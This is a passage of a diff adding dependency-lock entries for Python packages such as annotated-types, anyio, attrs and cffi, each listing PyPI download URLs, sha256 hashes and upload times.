"https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, +] + +[[package]] +name = "annotated-types" +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/56/a8120250d128bed162cd73c76d45f6ef9991f3e068f62a8ee060afa3104a/annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7", size = 15893, upload-time = "2026-07-23T20:16:13.995Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/91/8acff4f5e50511b911bbccb72b8628a49c68ce14148cd9f6431094859a90/annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0", size = 13427, upload-time = "2026-07-23T20:16:12.938Z" }, +] + +[[package]] +name = "anyio" +version = "4.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.15'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a9/d2/f4d173e22df740bc37b1db102b386ba719b66e95b0f0d751f556b387e6d2/anyio-4.15.1.tar.gz", hash = "sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94", size = 276966, upload-time = "2026-09-05T10:42:39.44Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/b8/4bd346e22b28902df4d651910f5242c28d84e4a5c2435ca5c3f797ed7e2e/anyio-4.15.1-py3-none-any.whl", hash = "sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101", size = 132079, upload-time = "2026-09-05T10:42:37.923Z" }, +] + +[[package]] +name = "attrs" +version = "26.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" }, +] + +[[package]] +name = "cffi" +version = "2.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/69/43965eccfdead3b9220015fd1320e117be8c6ed01a62ffab76eeb752f5d5/cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0", size = 184821, upload-time = "2026-08-03T21:19:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/54/7d/16e5a096677b5e313ca80cd5e5170efa3ea44624a82bb111925522da64b1/cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf", size = 184719, upload-time = "2026-08-03T21:19:46.129Z" }, + { url = "https://files.pythonhosted.org/packages/56/e6/8941622732edec876dd17d0453dce07317ae96db34f2ec1436c9d3785986/cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a", size = 214799, upload-time = "2026-08-03T21:19:47.218Z" }, + { url = "https://files.pythonhosted.org/packages/44/de/f98430906df1545ffde0d543dd124a7a439bc2cd32b36b9c53f805df7333/cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890", size = 222389, upload-time = "2026-08-03T21:19:48.331Z" }, + { url = "https://files.pythonhosted.org/packages/6a/5b/717f1526b9957b34456313c31645c5b82b8fb5c3fe9e4752999be7128bfc/cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50", size = 210249, upload-time = "2026-08-03T21:19:49.543Z" }, + { url = "https://files.pythonhosted.org/packages/64/b3/f8aa4f3e34986c7e4ec45072d1b1b9dd295b6b18007b45518d79726dd725/cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e", size = 208775, upload-time = "2026-08-03T21:19:50.918Z" }, + { url = "https://files.pythonhosted.org/packages/b1/db/dceb9dd5b231e1da801793f8acc9f3c52a7e1afe40bb1aae37e02b0faad5/cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf", size = 221822, upload-time = "2026-08-03T21:19:52.054Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d2/6cd24ae3be000a634109c247d1475d62e5616d0dc78c82770942ec384248/cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517", size = 225232, upload-time = "2026-08-03T21:19:53.109Z" }, + { url = "https://files.pythonhosted.org/packages/cb/52/3fa190537004dd7f0ab860a6dc7c0175b8667f68d1e618a46f5498d30250/cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735", size = 223597, upload-time = "2026-08-03T21:19:54.515Z" }, + { url = "https://files.pythonhosted.org/packages/80/fb/0bb75b7039588c074b37ae99f40d9bfddf990ecb2fbc346ebccd2e56b9be/cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e", size = 175292, upload-time = "2026-08-03T21:19:55.566Z" }, + { url = "https://files.pythonhosted.org/packages/d9/79/615cc094e2fb508cade7de88d3b4f6c4ec2bab695c97bce9153dc65aadf5/cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a", size = 185919, upload-time = "2026-08-03T21:19:56.89Z" }, + { url = "https://files.pythonhosted.org/packages/70/c6/d0ea84713fe46b243a436a18fcd47d639732747e21635c8a27191b06dc30/cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80", size = 180093, upload-time = "2026-08-03T21:19:58.155Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f4/035513d4117049066b4779dc3b7c0c0fdad175fa13731c9f4003f1cd1478/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e", size = 194248, upload-time = "2026-08-03T21:19:59.399Z" }, + { url = "https://files.pythonhosted.org/packages/76/af/2aeb4dbb5fc41a04161ae9ff1518de7cec08e164f44a8ce6a4cf7fd2cd1d/cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c", size = 196908, upload-time = "2026-08-03T21:20:00.746Z" }, + { url = "https://files.pythonhosted.org/packages/a7/46/2e5fdde8555706dd98139a910ca11be02809f3f605ce956f655d0214e100/cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6", size = 184805, upload-time = "2026-08-03T21:20:02.02Z" }, + { url = "https://files.pythonhosted.org/packages/55/41/4c7042f317b9217502988f0873af87e16ad606dc20f84e546e3e6ce9764c/cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971", size = 184764, upload-time = "2026-08-03T21:20:03.141Z" }, + { url = "https://files.pythonhosted.org/packages/43/1f/1c3d90d91811c8f86ced9ed637956c54bfe5b79ca98fe976d7f8c8979f6b/cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c", size = 214722, upload-time = "2026-08-03T21:20:04.377Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/3b5ce4c3b2192d250f04908f2bfd91ef34552ec8f7716a5d4abdb8d67bb2/cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125", size = 222369, upload-time = "2026-08-03T21:20:05.544Z" }, + { url = "https://files.pythonhosted.org/packages/02/10/4b3c75dde3d9663c9e02ba05c2668b954f671d4bbe346413ca8c696b295a/cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264", size = 210175, upload-time = "2026-08-03T21:20:06.75Z" }, + { url = "https://files.pythonhosted.org/packages/df/62/14f74b9543e605d17701dc797b815958b8bb70b7624ce1b832ddad48ed6c/cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3", size = 208670, upload-time = "2026-08-03T21:20:08.04Z" }, + { url = "https://files.pythonhosted.org/packages/95/95/86342356ff5953b3fb06f7ef7c5bee212d45e770abc7218d451b9148313c/cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2", size = 221824, upload-time = "2026-08-03T21:20:09.274Z" }, + { url = "https://files.pythonhosted.org/packages/eb/ff/7b3429ff53aafe931ed8a5fc69f481bbef7ba6de87ddcbb63d08f483f613/cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b", size = 225148, upload-time = "2026-08-03T21:20:10.7Z" }, + { url = "https://files.pythonhosted.org/packages/34/34/a95870b9221e09cf4f2ce3178b1a210abdfe63a1bd357da940418d7b8d15/cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7", size = 223564, upload-time = "2026-08-03T21:20:12.165Z" }, + { url = "https://files.pythonhosted.org/packages/70/ea/839b50531021a647fb5e929f72cf97bc1ff702b5472166164b5b6e76b851/cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac", size = 175263, upload-time = "2026-08-03T21:20:13.559Z" }, + { url = "https://files.pythonhosted.org/packages/60/a6/8b149b2c3f2e11aaa1618ef64500b45f50f22c57a977a4dff1aff1f91042/cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d", size = 185688, upload-time = "2026-08-03T21:20:14.69Z" }, + { url = "https://files.pythonhosted.org/packages/01/9a/11f687cb39d6a3504060d5242f04f48c735afb4d3d533958a20594890cb2/cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973", size = 180078, upload-time = "2026-08-03T21:20:15.917Z" }, + { url = "https://files.pythonhosted.org/packages/d3/7b/d6bbf82b8b96e7391438898c42f5bd96dd02030fd5b64937d248220003e2/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c", size = 194064, upload-time = "2026-08-03T21:20:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/94/e6/bcc91b283be94735e268487a054004f0aa19947b6348fa367db53230abc8/cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb", size = 196720, upload-time = "2026-08-03T21:20:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/d9/99/c4b0c17cacdc9c3b8f280026286a9826d6a208c0f047591a3c3ce99b91fd/cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54", size = 184964, upload-time = "2026-08-03T21:20:19.708Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", size = 184962, upload-time = "2026-08-03T21:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/67/b8/b42132ca113dc567d37684437b46ca1dafc885902b02a110a02d5b511857/cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1", size = 222328, upload-time = "2026-08-03T21:20:22.118Z" }, + { url = "https://files.pythonhosted.org/packages/80/10/c5c0cbf0a657aecf59ef511409734230bf556f05a0d6c9eed7aa5c0a0166/cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062", size = 209985, upload-time = "2026-08-03T21:20:23.401Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6c/bfa0b87b03b9238148beca990292843c9396ba069b54496596594173de7b/cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03", size = 208530, upload-time = "2026-08-03T21:20:24.628Z" }, + { url = "https://files.pythonhosted.org/packages/e9/02/4e7d553a7ac4b4238b38b3c1b80d486e9d4436f8d2acbf87a0997fe3f402/cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96", size = 221525, upload-time = "2026-08-03T21:20:25.758Z" }, + { url = "https://files.pythonhosted.org/packages/82/1d/a4aaf9babd75acb4d5f223bff71533bee748dd770a382619a798960ee9ba/cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527", size = 225053, upload-time = "2026-08-03T21:20:26.985Z" }, + { url = "https://files.pythonhosted.org/packages/81/10/5dc0e7bdd18e22107054288283380fc97a06ae3f1656a106908d666a3c88/cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13", size = 223213, upload-time = "2026-08-03T21:20:28.277Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e9/d0061c364cde06ee43168a0d076ac1da512cbc380d44767b844ba34fe2b6/cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c", size = 177682, upload-time = "2026-08-03T21:20:44.288Z" }, + { url = "https://files.pythonhosted.org/packages/a7/06/1c3e01e3ba14c39f6d10bfbac52753b7e22259e38088e5cfe1d704918690/cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48", size = 187949, upload-time = "2026-08-03T21:20:45.623Z" }, + { url = "https://files.pythonhosted.org/packages/87/5b/da4e39efe18eeb89cf580ea9cfc66b6a7c3eadb808fc0cc1d3a295cb5a5d/cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836", size = 182947, upload-time = "2026-08-03T21:20:46.955Z" }, + { url = "https://files.pythonhosted.org/packages/23/59/40338bf421c5accea1d45158170c87006ef1cd371b05c077e76476949728/cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3", size = 188504, upload-time = "2026-08-03T21:20:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/7d/47/5ecf1023850036e674c77ec4de86182d309ae344e39e7cba984b7df5d647/cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2", size = 188259, upload-time = "2026-08-03T21:20:31.291Z" }, + { url = "https://files.pythonhosted.org/packages/2a/9c/92934c3bea9f785b23eba304538c0b4d37a2a96d2431eb3a1bc87a11aa19/cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94", size = 223864, upload-time = "2026-08-03T21:20:32.571Z" }, + { url = "https://files.pythonhosted.org/packages/4d/45/ba4c93527bc38616a8bd36488acb69a2212d60486794f0c1f318949bbb76/cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc", size = 211538, upload-time = "2026-08-03T21:20:33.808Z" }, + { url = "https://files.pythonhosted.org/packages/80/e9/b6ef565e452acb932fb0cb5443f44a78efbd1233e566f02b5a83855e9115/cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29", size = 210688, upload-time = "2026-08-03T21:20:34.974Z" }, + { url = "https://files.pythonhosted.org/packages/9a/95/eff5f0cee78d2eabc7eebffec40d3fc1876b5f3c95582e018bb4b99601f2/cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676", size = 223803, upload-time = "2026-08-03T21:20:36.564Z" }, + { url = "https://files.pythonhosted.org/packages/fa/01/579d39fb8bef00a335a23d83757b44feb24cd6345a2c451b64cb67b9c362/cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e", size = 226763, upload-time = "2026-08-03T21:20:37.816Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b0/0b44f47c60b01b57b6e2bbd92343f13a85a1d93bc46ccf6e47e244acd99c/cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f", size = 225688, upload-time = "2026-08-03T21:20:38.959Z" }, + { url = "https://files.pythonhosted.org/packages/eb/d2/3b7176cb570a1d3e27faf67b72f591af508036e0d8b2be2ef9af9e8c84bb/cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4", size = 182868, upload-time = "2026-08-03T21:20:40.388Z" }, + { url = "https://files.pythonhosted.org/packages/56/78/31f00c1bcd97c9bbf55f1bfdf5bc809a5de8887473e90bb9960dca825e80/cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e", size = 194104, upload-time = "2026-08-03T21:20:41.725Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1b/58496f2ed0a35de575250c02a43ab3cc2c04d494a88fed31c1cabc0fd176/cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5", size = 186402, upload-time = "2026-08-03T21:20:43.042Z" }, + { url = "https://files.pythonhosted.org/packages/c1/8f/9ebe220eab48a093d1a5a5e339ab0dc7316eef3bb04d63c42f0251b61f50/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d", size = 194043, upload-time = "2026-08-03T21:20:48.179Z" }, + { url = "https://files.pythonhosted.org/packages/ff/69/844bad3ece306c4782c2ecb93597035b6690d48704b803914c199da1e8b3/cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b", size = 196737, upload-time = "2026-08-03T21:20:49.457Z" }, + { url = "https://files.pythonhosted.org/packages/1b/8a/af668013284634733f02d683458a0728739c7d6ddb5e14cb0c20832266fe/cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4", size = 184933, upload-time = "2026-08-03T21:20:50.639Z" }, + { url = "https://files.pythonhosted.org/packages/0c/75/2f5207ff6d1a613133b23a5203cc0c2a628313b5eb3974d7956ae3c57950/cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8", size = 185002, upload-time = "2026-08-03T21:20:52.173Z" }, + { url = "https://files.pythonhosted.org/packages/e2/31/9e1313b0a6e30e91b3b3d3fff51ae99c857c07738e3afcce1f7334e1b7ab/cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6", size = 222271, upload-time = "2026-08-03T21:20:53.462Z" }, + { url = "https://files.pythonhosted.org/packages/50/e3/f6234a833e6e08c7007003074723c406559eecf9b48dfc97471e5a8eb7a0/cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80", size = 209919, upload-time = "2026-08-03T21:20:54.783Z" }, + { url = "https://files.pythonhosted.org/packages/0d/fc/5f74e293fced6edb51af3a46c4ccf6c23c9943774ecb375ddbd522c76add/cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779", size = 208529, upload-time = "2026-08-03T21:20:56.066Z" }, + { url = "https://files.pythonhosted.org/packages/44/16/29e6d01b388bef055ecd6ca8244b3f4d336bd09e92d5d892187b9601084e/cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399", size = 221630, upload-time = "2026-08-03T21:20:57.336Z" }, + { url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" }, + { url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" }, + { url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" }, + { url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" }, + { url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" }, + { url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" }, + { url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" }, + { url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" }, + { url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" }, + { url = 